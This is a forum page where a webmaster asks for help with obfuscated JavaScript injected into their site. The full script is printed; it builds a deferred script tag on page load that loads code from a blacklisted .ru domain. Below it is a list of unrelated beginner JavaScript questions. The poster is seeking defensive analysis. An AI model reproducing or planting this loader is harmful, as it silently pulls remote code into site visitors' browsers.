JavaScript - Malicious Code Inserted Into Multiple Pages
So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him.
This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this! E <script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script> <!--4ff31209b849a146e6784b8cb55539b3--> Similar TutorialsHi, I hope someone can help me. I'll be honest and say I don't know much about javascript, but am fairly comfortable in html. I am building a website that will have multiple image swaps on multiple pages. I am building this in wordpress, and I'm guessing that means my approach will be different than if I wasn't using wordpress. Here's how one page would work: There are 10 images shown. 1,2,3,4,5,6,7,8,9,10. When number 1 is clicked on, I want a new image - 1a. When 2 is clicked on, 2a. So there are 20 different images in all on a given page. Also, I want the user to be able to click on the image again to restore the original image. I would prefer onclick to onmouseover. There will be literally dozens of pages like this on the site, managed by wordpress, so hundreds of images to swap. Basically the first image is a question - the second image is the answer. Is this possible? Hi, I coded the following JavaScript: Code: var el = document.createElement("iframe"); el.setAttribute('id', 'ifrm'); document.body.appendChild(el); el.setAttribute('height', 250); el.setAttribute('width', 300); el.setAttribute('frameborder', 0); el.setAttribute('marginheight', 0); el.setAttribute('marginwidth', 0) el.setAttribute('src', 'http://example.com/?pub=1&format=image&size=300x250&url='+window.location); And am putting it between <script type="text/javascript"> and </script> tags in the <body> section of my site. But, it only works in certain areas of the page. Can you guys think of any reason for this? Let me know... Thanks, ~Christian Hi all, I have a website that allows users to enter complex mathematical formulas into a text field and evaluates them. I am currently using eval() because it not only can handle all the standard mathematical functions, but also gives them access to the Math object. That way the users can use functions such as Math.max() and everything else. I realize, though, that using eval is evil, I assume because a malicious user might throw in some more damaging javascript that would be run without checking it. (That's why eval is evil, right?) Is there a way that I can allow my users to construct complex mathematical formulas and use the Math object (or an equivalent) without potentially opening my site up to harm? how do i make something like this? so that instead of viewing a long list it will be divided into pages..? Good day Lets say I have a page with 3 thumbnails and one big div. When click in one of the thumbnails the image of it must appear inside the big div. Of course there are 3 images (little ones for the thumbnails) and 3 big images for the real size ones. Script this is simple for me but imposible if I have more than 100 pages within 6 images inside them (3 little and 3 real size for 3 thumnail divs and one single big div). There must be some kind of order to just script the divs of the thumbnail divs and the real size image div in all the pages at ones, otherwise I have to creat ID's to every single div inside every single page! (4 id's to one page and I have more than 100 pages!, this is inpractical because is posible that in the future the pics change, is more than 400 id's) For example: for FIRST.html big div (div id="img001bg") thumb1 div (div id="th_img001" thumb2 div (div id="th_img002" thumb3 div (div id="th_img003" SECOND.html THIRD.html ... HUNDRED.html ... ! There must be some solution using somehow the functions, please help! Thank you to all Hi guys, i have posted this problem yesterday but maybe it just wasnt clear enough on what i wanted to acheiv. basically i have 1 link throughout my site and its a "buy now" button. i want it to be able to fetch possibly a value out my page content and then depending on that content direct the user to the correct page when they click that button? is this feasible? cheers, ant. Hello everyone, right now I have this in my site:
Code: <html> <head> <script type="text/javascript"> function open_win() { window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") window.open("http://www.google.com/") } </script> </head> <body> <form> <input type=button value="Open Windows" onclick="open_win()"> </form> </body> </html> And I was wondering if there's a way to get rid of the button, and make it so when the user opens the webpage, it automatically opens the multiple webpages. -- If that's not possible, I was also wondering if there's a way to make the button "click" on a mouseover, so when they move their mouse across the button, it opens the pages. I would rather have the 1st option, if possible. Thanks. Hello, I am trying to figure out how to write a quiz that has one question per html page, then once the choice has been selected, it will go to another page and tally a total at the end. Can this be done? And if so, can you point me in the right direction to research? Thanks in advance, Tanya Hi, When designing a web page, you may come across a situation where you want to combine content from multiple websites in a single window. Could the "iframe" tag makes this possible? If so, as it will separate your page design into several sections and display a different website in each one? Your answers are much appreciated. Thank you for watching me. Stickers I'm trying to allow the user to change the stylesheet of my website. I can change the stylesheet on a page by page basis (eg. from red style to blue style) but once the user navigates to a different page the stylesheet resets back to the original setting. For example, when the user visits the site first its set to the red style, they can change it to blue but when they navigate to another page the style goes back to red again where as I want the style to stick across pages. Does anybody know how I can sort this out? I assume I'll have to edit my javascript but Im not very good at javascript so any help would be great! HTML Code: <html> <head> <link href="red.css" rel="stylesheet" type="text/css" title="red" media="screen" /> <link href="green.css" rel="alternate stylesheet" type="text/css" title="green" media="screen" /> <link href="blue.css" rel="alternate stylesheet" type="text/css" title="blue" media="screen" /> <script type="text/javascript"> function changeStyle(title) { var lnks = document.getElementsByTagName('link'); for (var i = lnks.length - 1; i >= 0; i--) { if (lnks[i].getAttribute('rel').indexOf('style')> -1 && lnks[i].getAttribute('title')) { lnks[i].disabled = true; if (lnks[i].getAttribute('title') == title) lnks[i].disabled = false; }}} </script> </head> <body> <a href = "home1.html">Page 1</a> <br> <br> <a href = "home2.html">Page 2</a> <br> <br> <a href = "home3.html">Page 3</a> <br> <br> <br> <br> <a href = "#" onclick="changeStyle('red')">Red Stylesheet</a> <br> <br> <a href = "#" onclick="changeStyle('blue')">Blue Stylesheet</a> <br> <br> <a href = "#" onclick="changeStyle('green')">Green Stylesheet</a> </body> </html> CSS Code: body { background-color:red; } I'm slowly scraping away errors from a page im working on and ive found this forum to be very helpful- down to one more that i wanted to post on. sample page is he http://darrenlasso.com/freelance/loo.../lookbook.html Works fine in most all browsers except for IE8- ive even had to include built in ie7 compatibility to get it to work at all. Problem is most likely associated with my js, which is: Code: function ShowPage(frame) { frames[0].location = frame+'.html' } and html is: Code: <div id="thumb1"><a onmouseover="ShowPage('frame1')"onclick="ShowPage('frame1')" rel="nofollow" target="mainbox"></a></div> <div id="thumb2"><a onmouseover="ShowPage('frame2')"onclick="ShowPage('frame2')" rel="nofollow" target="mainbox"></a></div> <div id="thumb3"><a onmouseover="ShowPage('frame3')"onclick="ShowPage('frame3')" rel="nofollow" target="mainbox"></a></div> etc etc.. Which is just something i found online - probly isnt right for what im trying to accomplish. If you go to the site- you navigate by hovering over/clicking the images at the top and that loads a new page into the iframe below. Id like to be able to fix the errors and get it working without having to force ie7 compatibility if possible too. Any help is much appreciated Hopefully the title isn't too confusing, I shall explain... I'm a basic PHP/javascript developer and I need to build a series of forms where info is passed from page to page and there will be a need to skip to different sequences of pages depending upon answers given. I have distilled this into a small example (try.php) where I can set my page destination using javascript but I'd like to be able to set a session variable to store the form data to reuse it on other pages. Because I haven't used a form action then the result doesn't get stored. This example should make it clearer... Here is a simple form, I send the visitor to either page 1 or page 2 depending on their radio button choice: Code: <script type="text/javascript"> function OnSubmitForm() { if(document.myform.destination[0].checked == true) { document.myform.action ="pg1.php"; } else if(document.myform.destination[1].checked == true) { document.myform.action ="pg2.php"; } return true; } </script> <form name="myform" onsubmit="return OnSubmitForm();"> name: <input type="text" name="name"><br> email: <input type="text" name="email"><br> <input type="radio" name="destination" value="1" checked>go to page 1<br> <input type="radio" name="destination" value="2">go to page 2 <p> <input type="submit" name="submit" value="go"> </p> </form> This works fine inasmuch as it takes the visitor to the correct page, however I'd like to store the name entered as a session variable and reuse it on page 1 (or page 2). page1.php looks like this (and page 2 is very similar): Code: <?php session_start(); // debug - turn on error reporting error_reporting(E_ALL | E_NOTICE); ini_set('display_errors', '1'); //Store our posted values in a session variable if (isset ($_POST['name'])) { $_SESSION['name'] = $_POST['name']; } else { $_SESSION['name'] = null; } echo ("Session variable is set to: ".$_SESSION['name']); ?> <h1>welcome to page 1</h1> I'm sure that pg1.php would work if I had used a form action but I need the ability to send the visitor to different pages on form submission Is it possible to write the name to a session variable in try.php (I guess using javascript/ajax)? Thanks for any hints and examples Nigel Basically what I need to do is cause a bit of HTML to only display on a specific page. I have figured out how to do most of the work i.e. figuring out what page that the code is being displayed on, etc. However, for some reason the DOM element that I am using will not update based on the Javascript. I have searched the Internet for a solution and unfortunately I have found none. Here is the version of the code that I am currently working on: Code: <html> <head> <script type="text/javascript"> window.onload = function DisplayButton() { var DesiredPage = 'Page to Display'; //Page that I want the code to display on var sPath = window.location.pathname; var sPage = sPath.substring(sPath.lastIndexOf('/') + 1); //This determines and places in a variable what page that the code will be on if (sPage == DesiredPage) { document.getElementById('HiddenCode').style.display = "block"; } } </script> <p Id="HiddenCode" style="display:none">Code only to be displayed on indicated page</p> </head> </html> I am somewhat new to Javascript so I feel like I might be missing something obvious here. Thank You to anyone who can help. Zbot Hi, Im using a authoring tool to develop an elearning test course. The course is composed of several HTML pages with Buttons for the multiple choice test. The setup of the course is that it will only ask 10 questions out of a pool of 30 questions. When the HTML & JS files are online, the test takes 20-40seconds to load. I believe it is related to the code that selects the 10 questions from the 30. I've singled out the code that does the select random pages... Is there any way to optimize the code? I've attached the HTML (in txt format) page where the javascript can be found. Looking forward to your replies! Hi everybody, I have an search form and I'm handling it with .htaccess like this: RewriteRule ^(.*)/search/(.*) /search.php?lang=$1&keyword=$2 The problem, i can't call the right URL from front-end. I have an search form with get and if i search something the url going to like this: domain.com/en/search/?keyword=test 404.. But if i type the URL manually like this: domain.com/en/search/test Than it's working well. So, I need some js code to put search keyword in the right form so i can cancel the <form>. Can somebody help me to write this code? Or any other ideas are welcome. I am trying to write a little Greasemonkey script to insert links to open mp3s in the Google Player. It is supposed to insert "(play)" next to these links. (play) is a span element consisting of a text node "(", a link/"a" element, and another text node ")". However, instead of inserting these new links next to each old link, it is putting them all in a row next to the very first mp3 link! For example, if there are 3 mp3 links found on the page, the following is inserted next to the first links: (play(play(play))) When the loop iterates over the whole array (i < links.length), the browser hangs until Firefox's slow script notification pops up and I click "Stop script"; then I see the nested links all next to the first mp3 link. Additionally, the url itself is strange. Just looking at it, you'd think I was running a recursive function, but I'm not! The URL with a limited for loop (x < 21): http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=http://www.hackerpublicradio.org/eps/hpr0924.mp3&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=true&autoPlay=tru e. Here is the script. I have been using the site http://www.hackerpublicradio.org for my testing. Code: var links = document.getElementsByTagName('a'); for (var i=0; i < links.length; i++) { var x = links[i]; var url=x.href; if (url.search(/.*\.mp3/i) != -1) { var plink = document.createElement("a"); plink.href = "http://www.google.com/reader/ui/3523697345-audio-player.swf?audioUrl=" + url + "&autoPlay=true"; plink.target = "_blank"; //open in new tab plink.appendChild(document.createTextNode("play")); var pspan = document.createElement("span"); pspan.style.fontSize = "90%"; var openb = document.createTextNode("("); var closeb = document.createTextNode(")"); pspan.appendChild(openb); pspan.appendChild(plink); pspan.appendChild(closeb); x.parentNode.insertBefore(pspan, x.nextSibling); } } No errors are showing up in the console. I've only tested it in Firefox 10. Please help me figure out where I'm going wrong! Hi All, This is my first post and I need some assistance. I'm learning code and attempting to put more than 1 script on a webpage, but individual (separate pages) but together, neither one works. I'm a newbie and my professor doesn't know how to teach so it's me trying to do this myself and any assistance will be helpful. This is what I have (trying to add random pictures and a cycling banner) <script> var imgArray = new Array (4); var index = 0; function cycle () { document.banner.src = imgArray[index].src; index++; if (index > 3) { index = 0; } setTimeout("cycle()", 2000); return; } function startup () { imgArray[0] = new Image; imgArray[0].src = "Im.png"; imgArray[1] = new Image; imgArray[1].src = "Tired.jpg"; imgArray[2] = new Image; imgArray[2].src = "of this.jpg"; imgArray[3] = new Image; imgArray[3].src = "Rainy.jpg"; cycle(); return; } </script> </head> <body onLoad="select();startup()"> <div align="center"> <img name="banner" src="Im.png"> </div> </body> </body> <script> var imgArray = new Array (5); var index = 0; function select () { index= Math.floor(Math.random() * 5); document.banner.src = imgArray[index].src; setTimeout("select()", 2000); return; } function startup () { imgArray[0] = new Image; imgArray[0].src = "1.jpg"; imgArray[1] = new Image; imgArray[1].src = "2.jpg"; imgArray[2] = new Image; imgArray[2].src = "3.jpg"; imgArray[3] = new Image; imgArray[3].src = "4.jpg"; imgArray[4] = new Image; imgArray[4].src = "sheep.jpg"; select(); return; } </script> </head> <body onLoad="cycle(); startup()"> <div align="center"> <img name="banner" src="1.jpg"> </div> </body> Here is the thing. I need to find the height of the layer but, it's not that simple.... I have a page with div layer where i insert text with innerHTML attribute into it. Depending on the ammount of text i have the HEIGHT of the layer is changing. if i leave the css part of it with no HEIGHT atribute at all, browser will not automaticaly calculate it and returns empty string on request layerName.style.height if i assign some value to it("..height: 200px;..") it will not change it after uploading the text. It will change the size but on request layerName.style.height i'll get same 200px. Please advise... I have a document that contains four forms. I want to run a function only in the form the user is currently in. I keep getting the "document.my_form_name is undefined" error. I've tried all sorts of ways of doing this but can't find a solution. Here's a snippet of the HTML: Code: <form id="my_form_1" name="my_form_1" action="some action" method="POST"> // in here I call the function onchange_display_sel_droplist and // pass through the name of the form </form> <form id="my_form_2" name="my_form_2" action="some action" method="POST"> bla bla </form> Here's the part of the function in question: Code: function onchange_display_sel_droplist(my_value, my_object, my_text_obj, my_form_name) { // create array with all the divs found var arr = new Array(); arr = document.my_form_name.getElementsByTagName( "div" ); // loop through array for(var i=0; i < arr.length; i++) { var tagId = document.my_form_name.getElementsByTagName( "div" ).item(i).id; // find all the divs with ID "my_selected_div__" if ( tagId.indexOf("add_selected_div__") > -1 ) { // hide all document.my_form_name.getElementById(tagId).style.display = "none"; } } // display selected object (droplist) document.my_form_name.getElementById(my_object).style.display = ""; } How would I clean up this code? it looks so ugly, would I put it in a for loop and make it loop through and set the rand2, rand3, rand4 = place... there so there is a lot less lines of code(which is what I want) I need a cleaner way to do this, so it isn't so much space. Can someone help? there needs to be different variables because I need the random to be different for each, so rand2 = different random value than rand3. var place = [74,111,148,185,222,259,296,333,370]; var random = [rand,rand2,rand3,rand4,rand5,rand6,rand7,rand8,rand9]; var rand = place[Math.floor(Math.random()*place.length)]; var rand2 = place[Math.floor(Math.random()*place.length)]; var rand3 = place[Math.floor(Math.random()*place.length)]; var rand4 = place[Math.floor(Math.random()*place.length)]; var rand5 = place[Math.floor(Math.random()*place.length)]; var rand6 = place[Math.floor(Math.random()*place.length)]; var rand7 = place[Math.floor(Math.random()*place.length)]; var rand8 = place[Math.floor(Math.random()*place.length)]; var rand9 = place[Math.floor(Math.random()*place.length)]; var newrand = place[Math.floor(Math.random()*place.length)]; var newrand1 = place[Math.floor(Math.random()*place.length)]; var newrand2 = place[Math.floor(Math.random()*place.length)]; var newrand3 = place[Math.floor(Math.random()*place.length)]; var newrand4 = place[Math.floor(Math.random()*place.length)]; var newrand5 = place[Math.floor(Math.random()*place.length)]; var newrand6 = place[Math.floor(Math.random()*place.length)]; var newrand7 = place[Math.floor(Math.random()*place.length)]; var newrand8 = place[Math.floor(Math.random()*place.length)]; var newrand9 = place[Math.floor(Math.random()*place.length)]; var old = place[Math.floor(Math.random()*place.length)]; var old1 = place[Math.floor(Math.random()*place.length)]; var old2 = place[Math.floor(Math.random()*place.length)]; var old3 = place[Math.floor(Math.random()*place.length)]; var old4 = place[Math.floor(Math.random()*place.length)]; var old5 = place[Math.floor(Math.random()*place.length)]; var old6 = place[Math.floor(Math.random()*place.length)]; var old7 = place[Math.floor(Math.random()*place.length)]; var old8 = place[Math.floor(Math.random()*place.length)]; var old9 = place[Math.floor(Math.random()*place.length)]; |